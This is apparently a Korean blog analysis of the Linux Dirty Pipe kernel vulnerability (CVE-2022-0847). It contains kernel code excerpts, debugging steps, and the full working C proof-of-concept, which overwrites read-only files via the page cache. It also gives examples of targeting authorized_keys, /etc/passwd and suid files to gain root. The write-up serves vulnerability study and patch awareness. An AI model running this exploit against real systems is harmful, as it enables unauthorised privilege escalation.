
CVE-2022-0847 POC와 Docker 및 분석 write up
[toc]
이 글은 화웨이 보안 공식 계정에 먼저 게재되었으며, 이쪽은 블로그 버전(비교적 완전함)입니다.
최초 게재 링크: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
취약점 번호: CVE-2022-0847 (별칭: 더티 파이프 dirty pipe)
취약점 제품: linux kernel - splice syscall
영향 버전: linux 5.8 패치 f6dd975583bd에서 도입, 5.16.11, 5.15.25, 5.10.102에서 수정
취약점 위험: 읽을 수 있는 임의의 파일에 1페이지 이하의 내용을 쓸 수 있으며(충분함), 로컬 권한 상승이 가능합니다.
취약점 분석 docker: chenaotian/cve-2022-0847 (아직 접근할 수 없다면 제가 아직 업로드를 완료하지 않은 것입니다.)
제공 항목:
실행:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
디버깅:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
취약점의 간단한 원리는
splice함수를 호출하면 "제로 카피(zero-copy)" 방식으로 파일을pipe로 보낼 수 있으며, 코드 수준의 제로 카피는 파일 캐시 페이지(page cache)를 곧바로pipe의buf페이지로 사용하는 것입니다. 그런데 여기서 변수 초기화 누락 취약점이 발생하여, 파일 캐시 페이지가 이후pipe채널에서 일반pipe캐시 페이지로 취급되어 "이어 쓰기"되고 변조될 수 있습니다. 그러나 이 경우 커널은 이 캐시 페이지를 "더티 페이지(dirty page)"로 판단하지 않아, 짧은 시간 동안(다음 재부팅 등까지) 디스크로 플러시되지 않습니다. 이 시간 동안 해당 파일에 접근하는 모든 상황은 변조된 파일 캐시 페이지를 사용하게 되며, 결과적으로 "짧은 시간 동안 임의의 읽기 가능 파일에 임의 쓰기"가 가능해집니다. 이를 통해 로컬 권한 상승을 수행할 수 있습니다.
패치에 따르면 취약점은 copy_page_to_iter_pipe 함수에 있으며, buf->flags 초기화가 추가되었으므로 이는 변수 초기화 누락 취약점입니다.

copy_page_to_iter_pipe의 호출 지점은 splice 시스템 콜 안에 있습니다. splice 함수(시스템 콜)는 "제로 카피" 방식으로 파일 내용을 파이프로 전달합니다. 전통적으로 파일 내용을 직접 파이프로 보내는 것보다 성능이 좋습니다. 자세한 내용은 아래에서 설명합니다.
먼저, 취약점의 별칭이 더티 파이프이니 파이프(pipe)에 대해 알아보겠습니다. pipe는 커널이 제공하는 통신 파이프로, pipe/pipe2 함수로 생성되며 데이터를 보내는 파일 디스크립터와 받는 파일 디스크립터 두 개를 반환합니다. 마치 파이프의 양쪽 끝과 같습니다. 구체적인 사용법은 자세히 설명하지 않습니다.

커널에서의 구현을 간단히 설명하면, 일반적으로 pipe 캐시 공간 전체 길이는 65536바이트이며 페이지 형태로 관리됩니다. 총 16페이지(1페이지 4096바이트)이고, 페이지들은 연속적이지 않으며 배열로 관리되어 링 버퍼(환형 리스트)를 형성합니다. 두 개의 링 포인터를 유지하는데, 하나는 쓰기용(pipe->head), 하나는 읽기용(pipe->tail)입니다. 여기서는 주로 pipe_write 함수를 분석합니다:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3]如果上一页没法接着写,则重新起一页
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4]重新申请一个新页
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5]将新申请的页放到页数组中
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7]拷贝操作
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
pipe)가 비어 있지 않으면(head==tail이면 빈 파이프로 판단), 파이프에 아직 읽히지 않은 데이터가 있다는 뜻입니다. head 포인터, 즉 가장 최근에 쓰는 데 사용된 페이지를 가리키는 포인터를 가져와 해당 페이지의 len, offset을 확인합니다(데이터 끝을 찾기 위해). 그다음 현재 페이지에 이어 쓰기를 시도합니다.PIPE_BUF_FLAG_CAN_MERGE flag 표시가 있는지 판단하며, 없으면 현재 페이지에 이어 쓸 수 없습니다. 또는 현재 쓰는 데이터를 이전 데이터 뒤에 이어붙였을 때 길이가 한 페이지를 초과하면(즉 쓰기 작업이 페이지 경계를 넘으면) 이어 쓸 수 없습니다.alloc_page로 새 페이지를 할당합니다.buf->flag는 기본적으로 PIPE_BUF_FLAG_CAN_MERGE로 초기화됩니다. 기본 상태는 페이지 이어 쓰기를 허용하기 때문입니다.취약점 활용의 핵심은 splice에서 초기화되지 않은 PIPE_BUF_FLAG_CAN_MERGE flag 표시입니다. 이 플래그는 "다 쓰지 않은" pipe 페이지에 이어 쓸 수 있는지를 결정합니다.
위에서 언급했듯이 pipe는 16개 페이지를 관리하여 캐시로 사용합니다. splice의 제로 카피 방식은 파일 캐시 페이지로 pipe의 캐시 페이지를 직접 대체하는 것입니다(pipe 캐시 페이지 포인터를 파일 캐시 페이지를 가리키도록 변경).

splice 시스템 콜에서 취약점 함수 copy_page_to_iter_pipe까지의 호출 스택은 매우 깊으며, 자세한 분석은 생략하고 호출 스택은 다음과 같습니다:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipe취약점이 있는 copy_page_to_iter_pipe 함수가 수행하는 주요 작업은 pipe 캐시 페이지 구조가 전송할 파일의 파일 캐시 페이지를 가리키도록 하는 것입니다:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
get_page(page);
buf->page = page;//[2]页指针指向了文件缓存页
buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe 페이지 배열의 링 구조에 따라 현재 쓰기 포인터(pipe->head) 위치를 찾습니다.len은 splice 시스템 콜의 전달 인자에 의해 결정됩니다. 여기서 유일하게 flag를 초기화하지 않아 취약점이 발생합니다.일반적으로 초기화된 pipe->bufs는 다음과 같은 형태입니다:

이때 위에서 분석한 pipe_write 코드에 따라 pipe_write를 다시 호출하여 pipe에 데이터를 쓰면, 쓰기 포인터(pipe->head)가 위 그림의 페이지를 가리키고 flag가 PIPE_BUF_FLAG_CAN_MERGE라면, 쓰기 길이가 페이지 경계를 넘지 않는 한 해당 페이지에 이어 쓸 수 있다고 판단합니다:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
Linux는 연 파일을 캐시 페이지에 넣고, 캐시 페이지는 사용된 후에도 불필요한 I/O 작업을 피하기 위해 일정 기간 유지됩니다. 짧은 시간 안에 같은 파일에 접근하면 파일을 반복해서 열지 않고 동일한 파일 캐시 페이지를 사용합니다. 우리는 이 방법으로 해당 파일 캐시 페이지를 변조했기 때문에, 짧은 시간 안에 그 파일에 접근(읽기)하는 모든 작업은 변조된 파일 캐시 페이지를 읽게 되어 익스플로잇이 완성됩니다.
위에서 이미 설명했듯이 취약점 활용 과정은 매우 간단합니다. 취약점 원리를 이해하면 바로 활용할 수 있습니다. 작성자의 방식을 기준으로 대략 다음 단계로 나뉩니다:
pipe_write 사용). 그러면 모든 buf(pipe 캐시 페이지)가 초기화되고, flag는 기본적으로 PIPE_BUF_FLAG_CAN_MERGE로 초기화됩니다.pipe_read 사용). 그러면 splice 시스템 콜로 파일을 전송할 때 기존에 초기화된 buf 구조를 사용하게 됩니다.splice 함수를 호출하여 변조하려는 파일을 파이프로 전달합니다.pipe에 내용을 쓰면(pipe_write), 이때 파일 캐시 페이지가 덮어써져 임시 파일 변조가 완료됩니다.두 번째 단계가 끝나고 파이프를 채웠다가 비운 후에는, bufs 구조에 이후 초기화되지 않은 내용이 재사용할 데이터가 남아 있는 것을 볼 수 있습니다:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

splice로 파일을 전달한 후에는 다음과 같이 변합니다. 여기서 flag는 초기화되지 않으며, len은 가능한 한 작게 설정해야 합니다. 값이 작을수록 이후 "이어 쓰기"에서 더 긴 데이터를 쓸 수 있기 때문입니다. 여기서는 1로 설정하고, 오프셋은 변조하려는 시작 주소로 설정합니다. 그러면 pipe->bufs->page 포인터가 시작 주소를 가리키게 됩니다:
splice(fd, &offset, p[1], NULL, 1, 0);

다시 pipe_write를 호출하면 이어 쓰기 조건이 충족되어 페이지에 바로 이어 씁니다:

제가 작성한 것이 아니라 취약점 공개 자료에 포함된 것입니다:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
권한 상승 성공:
gcc exp.c -o exp --static
./exp file offset string

지금은 임의 파일 쓰기 효과를 시연한 것입니다. 실제 활용으로는 /etc/passwd를 수정하거나, sshkey 또는 일부 suid 파일 등을 수정해 실제 권한 상승을 완료할 수 있습니다. 여기서는 실제로 수행하지 않겠습니다(어차피 제가 침투 테스트를 하는 것도 아니니까요).
커널 취약점이기 때문에 특별히 좋은 대응 방안은 아직 없습니다. 커널을 수정된 버전인 5.16.11, 5.15.25, 5.10.102 이상으로 업그레이드할 것을 권장합니다.
취약점 공개자가 배포한 POC를 바탕으로 간단한 검증 도구를 작성했습니다. 취약점이 존재하면 "There is CVE-2022-0847"이 출력됩니다:

취약점이 없으면 "You are safe!"가 출력됩니다.
취약점 공개: https://dirtypipe.cm4all.com/
PIPE_BUF_FLAG_CAN_MERGE 이 flag는 총 5번 등장합니다. 한 번은 #define 선언, 두 번은 pipe_write 안에 있습니다. 나머지 두 번은 모두 splice 안에 있습니다:

그리고 이 변수가 사용된 코드를 보면 알 수 있듯이, 이 변수의 의미는 현재 가장 최신 pipe 캐시 페이지에 이어 쓸 수 있는지 여부입니다. 일반적으로 pipe가 직접 할당한 페이지는 그냥 일반 페이지이므로 이어 쓰는 것이 정상입니다. 이어 쓸 수 없는 경우는, 그 페이지가 pipe가 직접 할당한 페이지가 아니라서 마음대로 변경할 수 없는 경우입니다. 따라서 현재 상황을 보면, pipe가 직접 할당하지 않은 페이지가 관여하는 경우는 거의 splice뿐입니다. 다시 말해, PIPE_BUF_FLAG_CAN_MERGE 이 flag는 애초에 splice를 위해 설계된 것입니다. 그런데 초기화하지 않았다고요?
그래서 저는 이 취약점이 전혀 부주의 때문이 아니라고 의심합니다....